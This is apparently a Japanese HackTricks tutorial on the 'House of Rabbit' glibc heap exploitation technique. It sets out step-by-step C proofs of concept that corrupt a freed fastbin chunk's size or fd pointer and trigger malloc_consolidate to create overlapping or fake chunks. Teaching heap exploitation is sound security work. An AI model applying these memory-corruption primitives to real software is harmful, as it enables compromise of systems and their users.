House of Rabbit

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

要件

  1. ファストビンのfdポインタまたはサイズを変更する能力: これは、ファストビン内のチャンクの前方ポインタまたはそのサイズを変更できることを意味します。
  2. malloc_consolidateをトリガーする能力: これは、大きなチャンクを割り当てるか、トップチャンクをマージすることで行うことができ、ヒープがチャンクを統合することを強制します。

目標

  1. オーバーラップするチャンクを作成する: 1つのチャンクが別のチャンクとオーバーラップするようにし、さらなるヒープ操作を可能にします。
  2. 偽のチャンクを作成する: ヒープ操作中にアロケータを騙して、偽のチャンクを正当なチャンクとして扱わせることです。

攻撃の手順

POC 1: ファストビンチャンクのサイズを変更する

目的: ファストビンチャンクのサイズを操作してオーバーラップするチャンクを作成します。

  • ステップ 1: チャンクを割り当てる
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

0x40バイトのチャンクを2つ割り当てます。これらのチャンクは解放されるとファストビンリストに配置されます。

  • ステップ2: チャンクを解放する
cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

両方のチャンクを解放し、fastbinリストに追加します。

  • ステップ 3: チャンクサイズの変更
cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

chunk1のサイズメタデータを0xa1に変更します。これは、統合中にアロケータを欺くための重要なステップです。

  • ステップ4: malloc_consolidateをトリガーする
cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

大きなチャンクを割り当てると、malloc_consolidate関数がトリガーされ、ファストビン内の小さなチャンクがマージされます。操作されたchunk1のサイズにより、chunk1chunk2と重なります。

統合後、chunk1chunk2と重なり、さらなる悪用が可能になります。

POC 2: fdポインタを変更する

目的: ファストビンのfdポインタを操作してフェイクチャンクを作成する。

  • ステップ 1: チャンクを割り当てる
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

説明: 小さいチャンクと大きいチャンクの2つを割り当てて、フェイクチャンクのためにヒープを設定します。

  • ステップ 2: フェイクチャンクを作成
cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

chunk2に偽のチャンクメタデータを書き込んで、より小さなチャンクをシミュレートします。

  • ステップ 3: chunk1を解放する
cpp
free(chunk1);  // Frees the chunk at 0x602000

説明: chunk1を解放し、fastbinリストに追加します。

  • ステップ4: chunk1fdを変更する
cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

説明: chunk1の前方ポインタ(fd)を変更して、chunk2内の偽のチャンクを指すようにします。

  • ステップ5: malloc_consolidateをトリガーする
cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

大きなチャンクを再度割り当てると、malloc_consolidateがトリガーされ、偽のチャンクが処理されます。

偽のチャンクはfastbinリストの一部となり、さらなる悪用のための正当なチャンクとなります。

概要

House of Rabbit技術は、fast binチャンクのサイズを変更して重複するチャンクを作成するか、fdポインタを操作して偽のチャンクを作成することを含みます。これにより、攻撃者はヒープ内で正当なチャンクを偽造し、さまざまな形の悪用を可能にします。これらのステップを理解し、実践することで、ヒープの悪用スキルが向上します。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする